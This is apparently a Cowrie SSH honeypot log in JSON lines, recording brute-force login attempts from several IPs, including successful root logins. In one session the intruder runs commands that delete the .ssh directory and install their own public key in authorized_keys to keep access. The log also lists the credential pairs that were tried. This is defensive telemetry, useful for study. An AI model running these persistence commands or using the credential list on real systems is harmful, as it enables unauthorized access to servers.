{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:52.473104Z","src_ip":"160.191.244.236","session":"a77a03b29002","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:53.468828Z","src_ip":"160.191.244.236","session":"a77a03b29002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:53.701874Z","src_ip":"160.191.244.236","session":"a77a03b29002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:30:53.706256Z","src_ip":"160.191.244.236","session":"76659460850e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46784,"dst_ip":"159.203.135.109","dst_port":22,"session":"a81590fa7f02","protocol":"ssh","message":"New connection: 193.32.162.145:46784 (159.203.135.109:22) [session: a81590fa7f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:31:54.102746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:31:54.110676Z","src_ip":"193.32.162.145","session":"a81590fa7f02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:31:54.217844Z","src_ip":"193.32.162.145","session":"a81590fa7f02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123sol","message":"login attempt [ubuntu/123sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:31:54.631840Z","src_ip":"193.32.162.145","session":"a81590fa7f02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:31:55.744457Z","src_ip":"193.32.162.145","session":"a81590fa7f02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":39988,"dst_ip":"159.203.135.109","dst_port":22,"session":"515c8979bc9f","protocol":"ssh","message":"New connection: 2.57.122.96:39988 (159.203.135.109:22) [session: 515c8979bc9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:26.423023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:26.427322Z","src_ip":"2.57.122.96","session":"515c8979bc9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:26.527017Z","src_ip":"2.57.122.96","session":"515c8979bc9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin123","message":"login attempt [sol/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:26.825920Z","src_ip":"2.57.122.96","session":"515c8979bc9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:27.928682Z","src_ip":"2.57.122.96","session":"515c8979bc9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":60040,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6339730e67f","protocol":"ssh","message":"New connection: 154.221.28.214:60040 (159.203.135.109:22) [session: d6339730e67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:41.728678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:41.732978Z","src_ip":"154.221.28.214","session":"d6339730e67f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:43.342177Z","src_ip":"154.221.28.214","session":"d6339730e67f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@123456","message":"login attempt [ftpuser/ftpuser@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:43.945126Z","src_ip":"154.221.28.214","session":"d6339730e67f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:45.149012Z","src_ip":"154.221.28.214","session":"d6339730e67f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":45378,"dst_ip":"159.203.135.109","dst_port":22,"session":"280b0d1bc16c","protocol":"ssh","message":"New connection: 160.191.244.236:45378 (159.203.135.109:22) [session: 280b0d1bc16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:59.471260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:59.475352Z","src_ip":"160.191.244.236","session":"280b0d1bc16c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:32:59.706949Z","src_ip":"160.191.244.236","session":"280b0d1bc16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"johnpass","message":"login attempt [john/johnpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:00.671686Z","src_ip":"160.191.244.236","session":"280b0d1bc16c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:01.907287Z","src_ip":"160.191.244.236","session":"280b0d1bc16c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":48632,"dst_ip":"159.203.135.109","dst_port":22,"session":"8976f1d018d6","protocol":"ssh","message":"New connection: 196.188.63.205:48632 (159.203.135.109:22) [session: 8976f1d018d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:03.404211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:03.408479Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:03.618660Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"docker","message":"login attempt [root/docker] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:04.482419Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:04.931464Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:04.934408Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:04.938069Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:05.148277Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:05.575367Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:05.578313Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:05.784356Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:05.787869Z","src_ip":"196.188.63.205","session":"8976f1d018d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":48646,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d398c8deeea","protocol":"ssh","message":"New connection: 196.188.63.205:48646 (159.203.135.109:22) [session: 5d398c8deeea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:05.999084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:06.002732Z","src_ip":"196.188.63.205","session":"5d398c8deeea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:06.214786Z","src_ip":"196.188.63.205","session":"5d398c8deeea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:07.089119Z","src_ip":"196.188.63.205","session":"5d398c8deeea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:08.302886Z","src_ip":"196.188.63.205","session":"5d398c8deeea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":48656,"dst_ip":"159.203.135.109","dst_port":22,"session":"3feadcad9514","protocol":"ssh","message":"New connection: 196.188.63.205:48656 (159.203.135.109:22) [session: 3feadcad9514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:08.506638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:33:08.510240Z","src_ip":"196.188.63.205","session":"3feadcad9514","protocol":"ssh"}
